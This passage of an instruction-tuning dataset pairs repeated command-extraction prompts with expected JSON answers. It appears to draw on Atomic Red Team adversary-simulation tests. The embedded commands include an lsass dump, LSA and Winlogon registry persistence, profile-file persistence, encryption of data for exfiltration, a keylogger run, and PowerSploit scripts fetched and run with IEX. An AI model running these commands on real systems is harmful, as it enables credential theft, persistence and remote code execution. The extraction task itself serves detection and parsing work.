-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For data encryption prior to exfiltration, execute this multi-step command: mkdir -p #{test_folder}\ncd #{test_folder}; touch a b c d e f g\nzip --password \"#{encryption_password}\" #{test_folder}/#{test_file} ./*\necho \"#{encryption_password}\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\nls -l #{test_folder}; This test mimics FLEXIROOT's data exfiltration technique by archiving data with standard zip compression, encrypting it via OpenSSL, and base64 encoding it, using the command sequence: \nzip -r  #{input_folder}/#{input_file}.zip #{input_folder}\nopenssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc \ncat #{input_folder}/#{input_file}.enc | base64",
    "output": "{\"command_list\": [\"mkdir -p #{test_folder}\\ncd #{test_folder}; touch a b c d e f g\\nzip --password \\\"#{encryption_password}\\\" #{test_folder}/#{test_file} ./*\\necho \\\"#{encryption_password}\\\" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip\\nls -l #{test_folder}\\n\", \"zip -r  #{input_folder}/#{input_file}.zip #{input_folder}\\nopenssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc \\ncat #{input_folder}/#{input_file}.enc | base64\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following operation adds the specified command to the .shrc file via the command: echo '#{command_to_add}' >> ~/.shrc\n; For persistence across user logins, adversaries often modify /etc/profile using the command: echo '#{text_to_append}' >> /etc/profile\n",
    "output": "{\"command_list\": [\"echo '#{command_to_add}' >> ~/.shrc\\n\", \"echo '#{text_to_append}' >> /etc/profile\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique leverages Windows' Silent Process Exit mechanism to create a stealthy lsass.exe dump via WerFault.exe, which can be executed with the command: PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe --silent-process-exit \"#{output_folder}\"\n; This technique creates persistence by installing a custom authentication package for LSA, executing Notepad.exe under lsass.exe after system restart, with the command:\nCopy-Item \"$PathToAtomicsFolder\\T1547.002\\bin\\package.dll\" C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n",
    "output": "{\"command_list\": [\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nanodump.x64.exe --silent-process-exit \\\"#{output_folder}\\\"\\n\", \"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.002\\\\bin\\\\package.dll\\\" C:\\\\Windows\\\\System32\\\\\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\" /v \\\"Authentication Packages\\\" /t REG_MULTI_SZ /d \\\"msv1_0\\\\0package.dll\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic test employs ADSISearcher to list all computers in Active Directory, which can be achieved by running the following command: ([adsisearcher]\"objectcategory=computer\").FindAll(); ([adsisearcher]\"objectcategory=computer\").FindOne(); To identify the Domain Controller using PowerView, run the following command which will display relevant information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose",
    "output": "{\"command_list\": [\"([adsisearcher]\\\"objectcategory=computer\\\").FindAll(); ([adsisearcher]\\\"objectcategory=computer\\\").FindOne()\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compile and execute a Go file on FreeBSD, Linux, or macOS, use the following command: go run #{input_file}; For pushing files remotely, execute this rsync command: rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\n",
    "output": "{\"command_list\": [\"go run #{input_file}\\n\", \"rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To monitor both 32-bit and 64-bit command executions with auditd, use the following commands which will log activities to /var/log/audit/audit.log: auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start now; To log keys to standard output for 5 seconds, use the following command: swift #{swift_src} -keylog. Remember to enable Input Monitoring in System Preferences > Security & Privacy > Privacy > Input Monitoring.",
    "output": "{\"command_list\": [\"auditctl -a always,exit -F arch=b64 -S execve -k CMDS \\nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\\nwhoami; ausearch -i --start now\\n\", \"swift #{swift_src} -keylog\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view all environment variables along with your path information, simply run the following command: set; To view all environment variables along with your path information, simply run the following command: env",
    "output": "{\"command_list\": [\"set\\n\", \"env\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing a specified binary with explorer.exe during Windows logon, run this command: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force; To configure the Winlogon userinit key for executing a binary during logon, use the following PowerShell command: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force",
